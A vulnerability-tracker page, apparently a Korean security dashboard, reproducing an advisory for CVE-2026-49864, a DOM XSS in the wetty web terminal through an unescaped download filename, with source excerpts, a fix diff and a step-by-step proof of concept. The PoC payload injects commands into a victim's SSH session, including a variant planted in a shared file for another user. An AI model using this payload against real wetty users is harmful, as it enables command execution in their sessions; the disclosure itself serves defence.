Kestrel
대시보드로 돌아가기
CVE-2026-49864HIGHGHSA대응게시일: 2026. 07. 01.수정일: 2026. 07. 01.

wetty vulnerable to DOM XSS via file-download filename

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Summary

The wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.

Preconditions

  • Victim has wetty open with an active SSH session.
  • Attacker delivers the file-download escape sequence (\x1b[5i<b64-name>:<b64-content>\x1b[4i) into output the victim's terminal renders.
  • Default configuration; no non-default flags required.

Details

text
1// src/client/wetty.ts:37, 46-62
2const fileDownloader = new FileDownloader();
3// ...
4socket.on('data', (data: string) => {
5 const remainingData = fileDownloader.buffer(data);
6 // every PTY byte forwarded by the server passes through buffer()
7 // ...
8})

Every byte the server forwards from the PTY passes through FileDownloader.buffer. The buffer scans for the documented file-download markers \x1b[5i (begin) and \x1b[4i (end) - documented in docs/downloading-files.md - and, on a complete match, hands the inner payload to onCompleteFile.

text
1// src/client/wetty/download.ts:9-77
2function onCompleteFile(bufferCharacters: string): void {
3 let fileNameBase64;
4 let fileCharacters = bufferCharacters;
5 if (bufferCharacters.includes(':')) {
6 [fileNameBase64, fileCharacters] = bufferCharacters.split(':');
7 }
8 // ...
9 void detectAndDownload(bytes, fileCharacters, fileNameBase64);
10}
11
12async function detectAndDownload(/* ... */): Promise<void> {
13 // ...
14 let fileName;
15 try {
16 if (fileNameBase64 !== undefined) {
17 fileName = window.atob(fileNameBase64); // attacker-controlled
18 }
19 } catch { /* ... */ }
20 fileName ??= `file-${ /* timestamp default */ }`;
21 // ...
22 Toastify({
23 text: `Download ready: <a href="${blobUrl}" target="_blank" `
24 + `download="${fileName}">${fileName}</a>`, // sink
25 duration: 10000,
26 // ...
27 escapeMarkup: false,
28 }).showToast();
29}

fileName is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (escapeMarkup: false). No HTML escaping runs between atob and the toast markup. The wetty client exposes the live terminal as window.wetty_term, and term.input(data, true) (src/client/wetty/term.ts:80, 93-97, 132, 145-198) fires xterm.js's onData, which src/client/wetty.ts:40-42 forwards as a socket input event - i.e., script in the wetty origin types into the victim's SSH session.

Proof of concept

Setup

  1. Bring up wetty and its bundled SSH host from a fresh clone:

    text
    1git clone https://github.com/butlerx/wetty
    2cd wetty
    3docker compose up -d
    4sleep 5
  2. Open http://localhost/wetty in a browser. The login terminal prompts for a username (enter term) then proxies to wetty-ssh, which prompts for the SSH password (also term, set in containers/ssh/Dockerfile). The browser tab now holds a shell on the SSH container.

Exploit

  1. In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:

    xss
    1PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">'
    2FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0)
    3DATA_B64=$(printf 'bait' | base64 -w0)
    4printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"

    Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied <img> element with the onerror handler.

  2. The onerror handler calls window.wetty_term.input("id > /tmp/pwned\n", true), which xterm.js dispatches as a data event; src/client/wetty.ts:40-42 forwards it as a socket input event; the server writes it to the PTY. The SSH host runs id > /tmp/pwned as the connected user:

    text
    1cat /tmp/pwned

    Expected: uid=1000(term) gid=1000(term) groups=1000(term).

  3. The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:

    bash
    1# As the low-priv user on the SSH host
    2printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" > /tmp/notes.txt

    When the higher-privileged user's wetty session runs cat /tmp/notes.txt, attacker-controlled JavaScript types commands into that user's shell.

Impact

  • Confidentiality: Reads the rendered terminal contents via window.wetty_term.buffer.active.
  • Integrity: Types attacker-chosen commands into the victim's SSH session via window.wetty_term.input().
  • Auth: A writer of content the victim renders gains keystroke injection in the victim's higher-privileged session - a path from any local SSH user to commands as the wetty user.

Suggestions to fix

This has not been tested - it is illustrative only.

HTML-escape the decoded filename before interpolating it into Toastify's HTML markup at src/client/wetty/download.ts:67-77.

bash
1 fileName ??= `file-${new Date()
2 .toISOString()
3 .split('.')[0]
4 .replace(/-/g, '')
5 .replace('T', '')
6 .replace(/:/g, '')}${fileExt ? `.${fileExt}` : ''}`;
7+ const safeName = fileName.replace(/[&<>"']/g, (c) =>
8+ ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' })[c] ?? c,
9+ );
10
11 const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType });
12 const blobUrl = URL.createObjectURL(blob);
13
14 Toastify({
15- text: `Download ready: <a href="${blobUrl}" target="_blank" download="${fileName}">${fileName}</a>`,
16+ text: `Download ready: <a href="${blobUrl}" target="_blank" download="${safeName}">${safeName}</a>`,
17 duration: 10000,

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.